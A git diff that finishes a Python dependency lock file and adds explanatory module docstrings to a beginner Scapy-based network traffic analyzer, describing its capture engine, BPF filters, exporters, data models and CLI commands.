"https://files.pythonhosted.org/packages/bd/ca/6321295f47a47b0fca7de7e751ddc0ddc360413f4e506335fe9b0f0fb085/pyobjc_framework_coretext-12.1-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:7afe379c5a870fa3e66e6f65231c3c1732d9ccd2cd2a4904b2cd5178c9e3c562", size = 30702, upload-time = "2025-11-14T09:47:17.292Z" }, +] + +[[package]] +name = "pyobjc-framework-quartz" +version = "12.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pyobjc-core" }, + { name = "pyobjc-framework-cocoa" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/94/18/cc59f3d4355c9456fc945eae7fe8797003c4da99212dd531ad1b0de8a0c6/pyobjc_framework_quartz-12.1.tar.gz", hash = "sha256:27f782f3513ac88ec9b6c82d9767eef95a5cf4175ce88a1e5a65875fee799608", size = 3159099, upload-time = "2025-11-14T10:21:24.31Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ba/2d/e8f495328101898c16c32ac10e7b14b08ff2c443a756a76fd1271915f097/pyobjc_framework_quartz-12.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:629b7971b1b43a11617f1460cd218bd308dfea247cd4ee3842eb40ca6f588860", size = 219206, upload-time = "2025-11-14T10:00:15.623Z" }, + { url = "https://files.pythonhosted.org/packages/67/43/b1f0ad3b842ab150a7e6b7d97f6257eab6af241b4c7d14cb8e7fde9214b8/pyobjc_framework_quartz-12.1-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:53b84e880c358ba1ddcd7e8d5ea0407d760eca58b96f0d344829162cda5f37b3", size = 224317, upload-time = "2025-11-14T10:00:30.703Z" }, + { url = "https://files.pythonhosted.org/packages/4a/00/96249c5c7e5aaca5f688ca18b8d8ad05cd7886ebd639b3c71a6a4cadbe75/pyobjc_framework_quartz-12.1-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:42d306b07f05ae7d155984503e0fb1b701fecd31dcc5c79fe8ab9790ff7e0de0", size = 219558, upload-time = "2025-11-14T10:00:45.476Z" }, + { url = "https://files.pythonhosted.org/packages/4d/a6/708a55f3ff7a18c403b30a29a11dccfed0410485a7548c60a4b6d4cc0676/pyobjc_framework_quartz-12.1-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:0cc08fddb339b2760df60dea1057453557588908e42bdc62184b6396ce2d6e9a", size = 224580, upload-time = "2025-11-14T10:01:00.091Z" }, +] + +[[package]] +name = "pytest" +version = "8.4.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "colorama", marker = "sys_platform == 'win32'" }, + { name = "iniconfig" }, + { name = "packaging" }, + { name = "pluggy" }, + { name = "pygments" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/08/ba/45911d754e8eba3d5a841a5ce61a65a685ff1798421ac054f85aa8747dfb/pytest-8.4.1.tar.gz", hash = "sha256:7c67fd69174877359ed9371ec3af8a3d2b04741818c51e5e99cc1742251fa93c", size = 1517714, upload-time = "2025-06-18T05:48:06.109Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/29/16/c8a903f4c4dffe7a12843191437d7cd8e32751d5de349d45d3fe69544e87/pytest-8.4.1-py3-none-any.whl", hash = "sha256:539c70ba6fcead8e78eebbf1115e8b589e7565830d7d006a8723f19ac8a0afb7", size = 365474, upload-time = "2025-06-18T05:48:03.955Z" }, +] + +[[package]] +name = "python-xlib" +version = "0.33" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "six" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/86/f5/8c0653e5bb54e0cbdfe27bf32d41f27bc4e12faa8742778c17f2a71be2c0/python-xlib-0.33.tar.gz", hash = "sha256:55af7906a2c75ce6cb280a584776080602444f75815a7aff4d287bb2d7018b32", size = 269068, upload-time = "2022-12-25T18:53:00.824Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/fc/b8/ff33610932e0ee81ae7f1269c890f697d56ff74b9f5b2ee5d9b7fa2c5355/python_xlib-0.33-py2.py3-none-any.whl", hash = "sha256:c3534038d42e0df2f1392a1b30a15a4ff5fdc2b86cfa94f072bf11b10a164398", size = 182185, upload-time = "2022-12-25T18:52:58.662Z" }, +] + +[[package]] +name = "pywin32" +version = "311" +source = { registry = "https://pypi.org/simple" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/a5/be/3fd5de0979fcb3994bfee0d65ed8ca9506a8a1260651b86174f6a86f52b3/pywin32-311-cp313-cp313-win32.whl", hash = "sha256:f95ba5a847cba10dd8c4d8fefa9f2a6cf283b8b88ed6178fa8a6c1ab16054d0d", size = 8705700, upload-time = "2025-07-14T20:13:26.471Z" }, + { url = "https://files.pythonhosted.org/packages/e3/28/e0a1909523c6890208295a29e05c2adb2126364e289826c0a8bc7297bd5c/pywin32-311-cp313-cp313-win_amd64.whl", hash = "sha256:718a38f7e5b058e76aee1c56ddd06908116d35147e133427e59a3983f703a20d", size = 9494700, upload-time = "2025-07-14T20:13:28.243Z" }, + { url = "https://files.pythonhosted.org/packages/04/bf/90339ac0f55726dce7d794e6d79a18a91265bdf3aa70b6b9ca52f35e022a/pywin32-311-cp313-cp313-win_arm64.whl", hash = "sha256:7b4075d959648406202d92a2310cb990fea19b535c7f4a78d3f5e10b926eeb8a", size = 8709318, upload-time = "2025-07-14T20:13:30.348Z" }, + { url = "https://files.pythonhosted.org/packages/c9/31/097f2e132c4f16d99a22bfb777e0fd88bd8e1c634304e102f313af69ace5/pywin32-311-cp314-cp314-win32.whl", hash = "sha256:b7a2c10b93f8986666d0c803ee19b5990885872a7de910fc460f9b0c2fbf92ee", size = 8840714, upload-time = "2025-07-14T20:13:32.449Z" }, + { url = "https://files.pythonhosted.org/packages/90/4b/07c77d8ba0e01349358082713400435347df8426208171ce297da32c313d/pywin32-311-cp314-cp314-win_amd64.whl", hash = "sha256:3aca44c046bd2ed8c90de9cb8427f581c479e594e99b5c0bb19b29c10fd6cb87", size = 9656800, upload-time = "2025-07-14T20:13:34.312Z" }, + { url = "https://files.pythonhosted.org/packages/c0/d2/21af5c535501a7233e734b8af901574572da66fcc254cb35d0609c9080dd/pywin32-311-cp314-cp314-win_arm64.whl", hash = "sha256:a508e2d9025764a8270f93111a970e1d0fbfc33f4153b388bb649b7eec4f9b42", size = 8932540, upload-time = "2025-07-14T20:13:36.379Z" }, +] + +[[package]] +name = "requests" +version = "2.32.5" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "certifi" }, + { name = "charset-normalizer" }, + { name = "idna" }, + { name = "urllib3" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/c9/74/b3ff8e6c8446842c3f5c837e9c3dfcfe2018ea6ecef224c710c85ef728f4/requests-2.32.5.tar.gz", hash = "sha256:dbba0bac56e100853db0ea71b82b4dfd5fe2bf6d3754a8893c3af500cec7d7cf", size = 134517, upload-time = "2025-08-18T20:46:02.573Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/1e/db/4254e3eabe8020b458f1a747140d32277ec7a271daf1d235b70dc0b4e6e3/requests-2.32.5-py3-none-any.whl", hash = "sha256:2462f94637a34fd532264295e186976db0f5d453d1cdd31473c85a6a161affb6", size = 64738, upload-time = "2025-08-18T20:46:00.542Z" }, +] + +[[package]] +name = "ruff" +version = "0.14.14" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/2e/06/f71e3a86b2df0dfa2d2f72195941cd09b44f87711cb7fa5193732cb9a5fc/ruff-0.14.14.tar.gz", hash = "sha256:2d0f819c9a90205f3a867dbbd0be083bee9912e170fd7d9704cc8ae45824896b", size = 4515732, upload-time = "2026-01-22T22:30:17.527Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d2/89/20a12e97bc6b9f9f68343952da08a8099c57237aef953a56b82711d55edd/ruff-0.14.14-py3-none-linux_armv6l.whl", hash = "sha256:7cfe36b56e8489dee8fbc777c61959f60ec0f1f11817e8f2415f429552846aed", size = 10467650, upload-time = "2026-01-22T22:30:08.578Z" }, + { url = "https://files.pythonhosted.org/packages/a3/b1/c5de3fd2d5a831fcae21beda5e3589c0ba67eec8202e992388e4b17a6040/ruff-0.14.14-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:6006a0082336e7920b9573ef8a7f52eec837add1265cc74e04ea8a4368cd704c", size = 10883245, upload-time = "2026-01-22T22:30:04.155Z" }, + { url = "https://files.pythonhosted.org/packages/b8/7c/3c1db59a10e7490f8f6f8559d1db8636cbb13dccebf18686f4e3c9d7c772/ruff-0.14.14-py3-none-macosx_11_0_arm64.whl", hash = "sha256:026c1d25996818f0bf498636686199d9bd0d9d6341c9c2c3b62e2a0198b758de", size = 10231273, upload-time = "2026-01-22T22:30:34.642Z" }, + { url = "https://files.pythonhosted.org/packages/a1/6e/5e0e0d9674be0f8581d1f5e0f0a04761203affce3232c1a1189d0e3b4dad/ruff-0.14.14-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f666445819d31210b71e0a6d1c01e24447a20b85458eea25a25fe8142210ae0e", size = 10585753, upload-time = "2026-01-22T22:30:31.781Z" }, + { url = "https://files.pythonhosted.org/packages/23/09/754ab09f46ff1884d422dc26d59ba18b4e5d355be147721bb2518aa2a014/ruff-0.14.14-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:3c0f18b922c6d2ff9a5e6c3ee16259adc513ca775bcf82c67ebab7cbd9da5bc8", size = 10286052, upload-time = "2026-01-22T22:30:24.827Z" }, + { url = "https://files.pythonhosted.org/packages/c8/cc/e71f88dd2a12afb5f50733851729d6b571a7c3a35bfdb16c3035132675a0/ruff-0.14.14-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1629e67489c2dea43e8658c3dba659edbfd87361624b4040d1df04c9740ae906", size = 11043637, upload-time = "2026-01-22T22:30:13.239Z" }, + { url = "https://files.pythonhosted.org/packages/67/b2/397245026352494497dac935d7f00f1468c03a23a0c5db6ad8fc49ca3fb2/ruff-0.14.14-py3-none-manylinux_2_17_ppc64.manylinux2014_ppc64.whl", hash = "sha256:27493a2131ea0f899057d49d303e4292b2cae2bb57253c1ed1f256fbcd1da480", size = 12194761, upload-time = "2026-01-22T22:30:22.542Z" }, + { url = "https://files.pythonhosted.org/packages/5b/06/06ef271459f778323112c51b7587ce85230785cd64e91772034ddb88f200/ruff-0.14.14-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:01ff589aab3f5b539e35db38425da31a57521efd1e4ad1ae08fc34dbe30bd7df", size = 12005701, upload-time = "2026-01-22T22:30:20.499Z" }, + { url = "https://files.pythonhosted.org/packages/41/d6/99364514541cf811ccc5ac44362f88df66373e9fec1b9d1c4cc830593fe7/ruff-0.14.14-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:1cc12d74eef0f29f51775f5b755913eb523546b88e2d733e1d701fe65144e89b", size = 11282455, upload-time = "2026-01-22T22:29:59.679Z" }, + { url = "https://files.pythonhosted.org/packages/ca/71/37daa46f89475f8582b7762ecd2722492df26421714a33e72ccc9a84d7a5/ruff-0.14.14-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bb8481604b7a9e75eff53772496201690ce2687067e038b3cc31aaf16aa0b974", size = 11215882, upload-time = "2026-01-22T22:29:57.032Z" }, + { url = "https://files.pythonhosted.org/packages/2c/10/a31f86169ec91c0705e618443ee74ede0bdd94da0a57b28e72db68b2dbac/ruff-0.14.14-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:14649acb1cf7b5d2d283ebd2f58d56b75836ed8c6f329664fa91cdea19e76e66", size = 11180549, upload-time = "2026-01-22T22:30:27.175Z" }, + { url = "https://files.pythonhosted.org/packages/fd/1e/c723f20536b5163adf79bdd10c5f093414293cdf567eed9bdb7b83940f3f/ruff-0.14.14-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:e8058d2145566510790eab4e2fad186002e288dec5e0d343a92fe7b0bc1b3e13", size = 10543416, upload-time = "2026-01-22T22:30:01.964Z" }, + { url = "https://files.pythonhosted.org/packages/3e/34/8a84cea7e42c2d94ba5bde1d7a4fae164d6318f13f933d92da6d7c2041ff/ruff-0.14.14-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:e651e977a79e4c758eb807f0481d673a67ffe53cfa92209781dfa3a996cf8412", size = 10285491, upload-time = "2026-01-22T22:30:29.51Z" }, + { url = "https://files.pythonhosted.org/packages/55/ef/b7c5ea0be82518906c978e365e56a77f8de7678c8bb6651ccfbdc178c29f/ruff-0.14.14-py3-none-musllinux_1_2_i686.whl", hash = "sha256:cc8b22da8d9d6fdd844a68ae937e2a0adf9b16514e9a97cc60355e2d4b219fc3", size = 10733525, upload-time = "2026-01-22T22:30:06.499Z" }, + { url = "https://files.pythonhosted.org/packages/6a/5b/aaf1dfbcc53a2811f6cc0a1759de24e4b03e02ba8762daabd9b6bd8c59e3/ruff-0.14.14-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:16bc890fb4cc9781bb05beb5ab4cd51be9e7cb376bf1dd3580512b24eb3fda2b", size = 11315626, upload-time = "2026-01-22T22:30:36.848Z" }, + { url = "https://files.pythonhosted.org/packages/2c/aa/9f89c719c467dfaf8ad799b9bae0df494513fb21d31a6059cb5870e57e74/ruff-0.14.14-py3-none-win32.whl", hash = "sha256:b530c191970b143375b6a68e6f743800b2b786bbcf03a7965b06c4bf04568167", size = 10502442, upload-time = "2026-01-22T22:30:38.93Z" }, + { url = "https://files.pythonhosted.org/packages/87/44/90fa543014c45560cae1fffc63ea059fb3575ee6e1cb654562197e5d16fb/ruff-0.14.14-py3-none-win_amd64.whl", hash = "sha256:3dde1435e6b6fe5b66506c1dff67a421d0b7f6488d466f651c07f4cab3bf20fd", size = 11630486, upload-time = "2026-01-22T22:30:10.852Z" }, + { url = "https://files.pythonhosted.org/packages/9e/6a/40fee331a52339926a92e17ae748827270b288a35ef4a15c9c8f2ec54715/ruff-0.14.14-py3-none-win_arm64.whl", hash = "sha256:56e6981a98b13a32236a72a8da421d7839221fa308b223b9283312312e5ac76c", size = 10920448, upload-time = "2026-01-22T22:30:15.417Z" }, +] + +[[package]] +name = "six" +version = "1.17.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/94/e7/b2c673351809dca68a0e064b6af791aa332cf192da575fd474ed7d6f16a2/six-1.17.0.tar.gz", hash = "sha256:ff70335d468e7eb6ec65b95b99d3a2836546063f63acc5171de367e834932a81", size = 34031, upload-time = "2024-12-04T17:35:28.174Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b7/ce/149a00dd41f10bc29e5921b496af8b574d8413afcd5e30dfa0ed46c2cc5e/six-1.17.0-py2.py3-none-any.whl", hash = "sha256:4721f391ed90541fddacab5acf947aa0d3dc7d27b2e1e8eda2be8970586c3274", size = 11050, upload-time = "2024-12-04T17:35:26.475Z" }, +] + +[[package]] +name = "tomlkit" +version = "0.14.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/c3/af/14b24e41977adb296d6bd1fb59402cf7d60ce364f90c890bd2ec65c43b5a/tomlkit-0.14.0.tar.gz", hash = "sha256:cf00efca415dbd57575befb1f6634c4f42d2d87dbba376128adb42c121b87064", size = 187167, upload-time = "2026-01-13T01:14:53.304Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b5/11/87d6d29fb5d237229d67973a6c9e06e048f01cf4994dee194ab0ea841814/tomlkit-0.14.0-py3-none-any.whl", hash = "sha256:592064ed85b40fa213469f81ac584f67a4f2992509a7c3ea2d632208623a3680", size = 39310, upload-time = "2026-01-13T01:14:51.965Z" }, +] + +[[package]] +name = "types-requests" +version = "2.32.4.20260107" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "urllib3" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/0f/f3/a0663907082280664d745929205a89d41dffb29e89a50f753af7d57d0a96/types_requests-2.32.4.20260107.tar.gz", hash = "sha256:018a11ac158f801bfa84857ddec1650750e393df8a004a8a9ae2a9bec6fcb24f", size = 23165, upload-time = "2026-01-07T03:20:54.091Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/1c/12/709ea261f2bf91ef0a26a9eed20f2623227a8ed85610c1e54c5805692ecb/types_requests-2.32.4.20260107-py3-none-any.whl", hash = "sha256:b703fe72f8ce5b31ef031264fe9395cac8f46a04661a79f7ed31a80fb308730d", size = 20676, upload-time = "2026-01-07T03:20:52.929Z" }, +] + +[[package]] +name = "typing-extensions" +version = "4.15.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/72/94/1a15dd82efb362ac84269196e94cf00f187f7ed21c242792a923cdb1c61f/typing_extensions-4.15.0.tar.gz", hash = "sha256:0cea48d173cc12fa28ecabc3b837ea3cf6f38c6d1136f85cbaaf598984861466", size = 109391, upload-time = "2025-08-25T13:49:26.313Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/18/67/36e9267722cc04a6b9f15c7f3441c2363321a3ea07da7ae0c0707beb2a9c/typing_extensions-4.15.0-py3-none-any.whl", hash = "sha256:f0fa19c6845758ab08074a0cfa8b7aecb71c999ca73d62883bc25cc018c4e548", size = 44614, upload-time = "2025-08-25T13:49:24.86Z" }, +] + +[[package]] +name = "urllib3" +version = "2.6.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/c7/24/5f1b3bdffd70275f6661c76461e25f024d5a38a46f04aaca912426a2b1d3/urllib3-2.6.3.tar.gz", hash = "sha256:1b62b6884944a57dbe321509ab94fd4d3b307075e0c2eae991ac71ee15ad38ed", size = 435556, upload-time = "2026-01-07T16:24:43.925Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/39/08/aaaad47bc4e9dc8c725e68f9d04865dbcb2052843ff09c97b08904852d84/urllib3-2.6.3-py3-none-any.whl", hash = "sha256:bf272323e553dfb2e87d9bfd225ca7b0f467b919d7bbd355436d3fd37cb0acd4", size = 131584, upload-time = "2026-01-07T16:24:42.685Z" }, +] + +[[package]] +name = "yapf" +version = "0.43.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "platformdirs" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/23/97/b6f296d1e9cc1ec25c7604178b48532fa5901f721bcf1b8d8148b13e5588/yapf-0.43.0.tar.gz", hash = "sha256:00d3aa24bfedff9420b2e0d5d9f5ab6d9d4268e72afbf59bb3fa542781d5218e", size = 254907, upload-time = "2024-11-14T00:11:41.584Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/37/81/6acd6601f61e31cfb8729d3da6d5df966f80f374b78eff83760714487338/yapf-0.43.0-py3-none-any.whl", hash = "sha256:224faffbc39c428cb095818cf6ef5511fdab6f7430a10783fdfb292ccf2852ca", size = 256158, upload-time = "2024-11-14T00:11:39.37Z" }, +] diff --git a/PROJECTS/beginner/network-traffic-analyzer/python/src/netanal/analyzer.py b/PROJECTS/beginner/network-traffic-analyzer/python/src/netanal/analyzer.py index 50b29e0c..6c945f0b 100644 --- a/PROJECTS/beginner/network-traffic-analyzer/python/src/netanal/analyzer.py +++ b/PROJECTS/beginner/network-traffic-analyzer/python/src/netanal/analyzer.py @@ -3,6 +3,24 @@ analyzer.py Protocol dissection and packet analysis using Scapy layers + +Inspects raw Scapy packets and extracts structured data into PacketInfo. +Protocol identification checks layers in priority order: DNS first (since +DNS runs over TCP or UDP), then TCP with port-based HTTP/HTTPS detection, +then UDP, ICMP, and ARP. Packets without an IP or ARP layer return None. + +Key exports: + identify_protocol() - Returns the highest-level Protocol for a packet + extract_packet_info() - Parses a Scapy packet into PacketInfo, or None for non-IP packets + extract_dns_info() - Pulls query name or answer records from a DNS packet + get_packet_summary() - Returns a one-line human-readable description of a packet + analyze_pcap_file() - Reads a pcap file with PcapReader and returns a list of PacketInfo + +Connects to: + models.py - imports PacketInfo, Protocol + constants.py - imports DefaultIPs, Ports + capture.py - calls extract_packet_info() in the consumer thread + main.py - calls analyze_pcap_file() for analyze, stats, export, and chart commands """ from scapy.layers.dns import DNS diff --git a/PROJECTS/beginner/network-traffic-analyzer/python/src/netanal/capture.py b/PROJECTS/beginner/network-traffic-analyzer/python/src/netanal/capture.py index a7a051da..6321fea5 100644 --- a/PROJECTS/beginner/network-traffic-analyzer/python/src/netanal/capture.py +++ b/PROJECTS/beginner/network-traffic-analyzer/python/src/netanal/capture.py @@ -2,8 +2,26 @@ ⒸAngelaMos | 2026 capture.py -Scapy based packet capture engine with -BPF filtering and producer consumer pattern +Scapy-based packet capture engine with BPF filtering and producer-consumer pattern + +Runs Scapy's AsyncSniffer as the producer and a daemon thread as the consumer. +Captured packets are queued and processed off the sniffer thread to avoid +dropping packets under load. GracefulCapture wraps CaptureEngine as a context +manager that installs SIGINT/SIGTERM handlers for clean shutdown on Ctrl+C. + +Key exports: + CaptureEngine - Producer-consumer capture engine with start(), stop(), and wait() + GracefulCapture - Context manager that handles signals and stops the engine on exit + capture_packets() - Convenience function for one-shot captures with default settings + get_available_interfaces() - Returns available network interface names from Scapy + check_capture_permissions() - Checks OS-level permissions for raw packet capture + +Connects to: + models.py - imports CaptureConfig, CaptureStatistics, PacketInfo + analyzer.py - calls extract_packet_info() in the consumer thread + constants.py - imports CaptureDefaults, NpcapPaths + statistics.py - creates StatisticsCollector and drives record_packet() + main.py - imports CaptureEngine, GracefulCapture, check_capture_permissions, get_available_interfaces """ import contextlib diff --git a/PROJECTS/beginner/network-traffic-analyzer/python/src/netanal/constants.py b/PROJECTS/beginner/network-traffic-analyzer/python/src/netanal/constants.py index e4501f70..2edd4783 100644 --- a/PROJECTS/beginner/network-traffic-analyzer/python/src/netanal/constants.py +++ b/PROJECTS/beginner/network-traffic-analyzer/python/src/netanal/constants.py @@ -2,8 +2,31 @@ ⒸAngelaMos | 2026 constants.py -Centralized constants and -configuration values for network traffic analyzer +Centralized constants and configuration values for network traffic analyzer + +Groups all magic numbers and strings into named classes to avoid hardcoded +values scattered throughout the codebase. Covers ports, byte units, chart +sizing, protocol colors, and platform-specific paths. All values use Final +annotations. + +Key exports: + Ports - Standard port numbers (HTTP=80, HTTPS=443, DNS=53) + TimeConstants - Seconds per minute and hour for duration formatting + ByteUnits - Byte conversion factor and size unit labels + CaptureDefaults - Queue size, timeouts, and bandwidth sample interval + ChartDefaults - DPI, font sizes, figure dimensions, and line style values + ProtocolColors - Rich console colors and matplotlib hex colors per protocol + DefaultIPs - Fallback IP for unknown packet endpoints + PortRange - Valid port range boundaries (0-65535) + NpcapPaths - Windows DLL paths for Npcap installation checks + +Connects to: + filters.py - imports PortRange, Ports + analyzer.py - imports DefaultIPs, Ports + capture.py - imports CaptureDefaults, NpcapPaths + statistics.py - imports CaptureDefaults + output.py - imports ByteUnits, ProtocolColors, TimeConstants + visualization.py - imports ByteUnits, ChartDefaults, ProtocolColors """ from enum import IntEnum diff --git a/PROJECTS/beginner/network-traffic-analyzer/python/src/netanal/exceptions.py b/PROJECTS/beginner/network-traffic-analyzer/python/src/netanal/exceptions.py index 70aaf138..5ddf9bea 100644 --- a/PROJECTS/beginner/network-traffic-analyzer/python/src/netanal/exceptions.py +++ b/PROJECTS/beginner/network-traffic-analyzer/python/src/netanal/exceptions.py @@ -3,6 +3,24 @@ exceptions.py Custom exception hierarchy for network traffic analyzer + +All exceptions inherit from NetAnalError, which inherits from Exception. +This lets callers catch all tool errors with a single except clause while +still being able to handle specific failure modes separately. + +Key exports: + NetAnalError - Base class for all tool exceptions + CaptureError - General capture failure + CapturePermissionError - User lacks privileges for packet capture + NpcapNotFoundError - Npcap not installed on Windows + InvalidFilterError - Malformed BPF filter expression + ExportError - Failure when writing export files + AnalysisError - Failure during packet analysis + ValidationError - Invalid input values (ports, IPs, networks) + +Connects to: + filters.py - raises ValidationError for invalid inputs + __init__.py - re-exports all exceptions to the public API """ diff --git a/PROJECTS/beginner/network-traffic-analyzer/python/src/netanal/export.py b/PROJECTS/beginner/network-traffic-analyzer/python/src/netanal/export.py index 5b90c9d6..65873b7f 100644 --- a/PROJECTS/beginner/network-traffic-analyzer/python/src/netanal/export.py +++ b/PROJECTS/beginner/network-traffic-analyzer/python/src/netanal/export.py @@ -3,6 +3,25 @@ export.py Export capture data to CSV and JSON formats + +Serializes CaptureStatistics and PacketInfo to disk. JSON export is +selective — ExportOptions flags control whether packets, endpoints, and +conversations are included. Separate CSV helpers write endpoint stats and +protocol summaries as standalone files. load_from_json() reconstructs +statistics from a previously exported file. + +Key exports: + statistics_to_dict() - Converts CaptureStatistics to a JSON-serializable dict + packet_to_dict() - Converts PacketInfo to a JSON-serializable dict + export_to_json() - Writes statistics and optionally packets to a JSON file + export_to_csv() - Writes packet rows to a CSV file + export_endpoints_csv() - Writes per-endpoint stats to a CSV file + export_protocol_summary_csv() - Writes protocol distribution to a CSV file + load_from_json() - Reads a JSON export and reconstructs CaptureStatistics and packets + +Connects to: + models.py - imports CaptureStatistics, ExportOptions, PacketInfo, Protocol + main.py - calls export_to_json() and export_to_csv() from the export and capture commands """ import csv diff --git a/PROJECTS/beginner/network-traffic-analyzer/python/src/netanal/filters.py b/PROJECTS/beginner/network-traffic-analyzer/python/src/netanal/filters.py index 25bfba7d..ff978c62 100644 --- a/PROJECTS/beginner/network-traffic-analyzer/python/src/netanal/filters.py +++ b/PROJECTS/beginner/network-traffic-analyzer/python/src/netanal/filters.py @@ -3,6 +3,24 @@ filters.py BPF filter builder for kernel-level packet filtering + +Provides a fluent FilterBuilder that assembles Berkeley Packet Filter +expressions from typed method calls rather than raw strings. All inputs +are validated before being added. The build() method joins accumulated +expressions with a logical AND or OR operator. + +Key exports: + FilterBuilder - Fluent builder for BPF filter strings with input validation + BPF_PROTOCOL_MAP - Maps Protocol enum values to their BPF expressions + combine_filters() - Joins a list of BPF strings with a logical operator + protocol_to_bpf() - Converts a single Protocol to its BPF expression + validate_bpf_filter() - Checks BPF syntax by compiling with Scapy + +Connects to: + models.py - imports Protocol for the BPF mapping + constants.py - imports PortRange for validation bounds, Ports for DNS filter + exceptions.py - raises ValidationError for invalid ports, IPs, and networks + main.py - calls validate_bpf_filter() before starting a live capture """ import ipaddress diff --git a/PROJECTS/beginner/network-traffic-analyzer/python/src/netanal/main.py b/PROJECTS/beginner/network-traffic-analyzer/python/src/netanal/main.py index 6c4793be..393f1f01 100644 --- a/PROJECTS/beginner/network-traffic-analyzer/python/src/netanal/main.py +++ b/PROJECTS/beginner/network-traffic-analyzer/python/src/netanal/main.py @@ -3,6 +3,25 @@ main.py Typer CLI commands for network traffic analyzer + +Defines the netanal CLI with six commands: capture, analyze, stats, export, +chart, and interfaces. Capture performs live sniffing via CaptureEngine with +optional verbose packet streaming and JSON output. The analyze, stats, export, +and chart commands load from a pcap file through _analyze_pcap_to_stats, +which replays packets through StatisticsCollector. + +Key exports: + app - The Typer application instance, used as the entry point in __main__.py + +Connects to: + analyzer.py - calls analyze_pcap_file() for all pcap-based commands + capture.py - imports CaptureConfig, CaptureEngine, GracefulCapture, check_capture_permissions, get_available_interfaces + export.py - calls export_to_json(), export_to_csv(), statistics_to_dict() + filters.py - calls validate_bpf_filter() before starting a live capture + output.py - imports console and all print_* functions + statistics.py - creates StatisticsCollector to process replayed pcap packets + visualization.py - calls chart creation functions for the chart command + __init__.py - imports __version__ for the --version flag """ import json diff --git a/PROJECTS/beginner/network-traffic-analyzer/python/src/netanal/models.py b/PROJECTS/beginner/network-traffic-analyzer/python/src/netanal/models.py index c1661798..b9832917 100644 --- a/PROJECTS/beginner/network-traffic-analyzer/python/src/netanal/models.py +++ b/PROJECTS/beginner/network-traffic-analyzer/python/src/netanal/models.py @@ -3,6 +3,31 @@ models.py Data models for packet capture and network traffic analysis + +Defines all shared data structures used across the project. PacketInfo +is frozen and slotted for efficiency since thousands are created per +session. CaptureStatistics holds the aggregated view of an entire session +including protocol distribution, per-endpoint counters, and bandwidth samples. + +Key exports: + Protocol - StrEnum of network protocols (TCP, UDP, ICMP, DNS, HTTP, HTTPS, ARP, OTHER) + PacketInfo - Frozen dataclass for a single parsed packet + EndpointStats - Per-IP counters with total_packets and total_bytes computed properties + ConversationStats - Bidirectional traffic stats between two IPs + BandwidthSample - Point-in-time bandwidth measurement + CaptureStatistics - Full session aggregate with top talkers and protocol percentages + CaptureConfig - Frozen config for a capture session (interface, filter, count, timeout) + ExportOptions - Flags controlling what to include in export output + +Connects to: + analyzer.py - creates PacketInfo instances + statistics.py - accumulates data into EndpointStats, ConversationStats, CaptureStatistics + filters.py - imports Protocol for BPF mapping + capture.py - imports CaptureConfig, CaptureStatistics, PacketInfo + output.py - imports CaptureStatistics, PacketInfo, Protocol + export.py - imports CaptureStatistics, ExportOptions, PacketInfo, Protocol + visualization.py - imports CaptureStatistics, Protocol + __init__.py - re-exports all models to the public API """ from dataclasses import dataclass, field diff --git a/PROJECTS/beginner/network-traffic-analyzer/python/src/netanal/output.py b/PROJECTS/beginner/network-traffic-analyzer/python/src/netanal/output.py index e767b540..f6c9329d 100644 --- a/PROJECTS/beginner/network-traffic-analyzer/python/src/netanal/output.py +++ b/PROJECTS/beginner/network-traffic-analyzer/python/src/netanal/output.py @@ -3,6 +3,28 @@ output.py Rich console output formatting for network traffic analysis + +Handles all terminal display for capture sessions and analysis results. +The console instance is created once with environment-aware settings for +CI, NO_COLOR, and non-TTY environments. Display functions cover streaming +packet output, session summary panels, protocol tables, top talkers, and +bandwidth statistics. + +Key exports: + console - Shared Rich Console instance created by get_console() + create_capture_progress() - Returns a Rich Progress bar for live capture display + print_packet() - Streams a single packet line 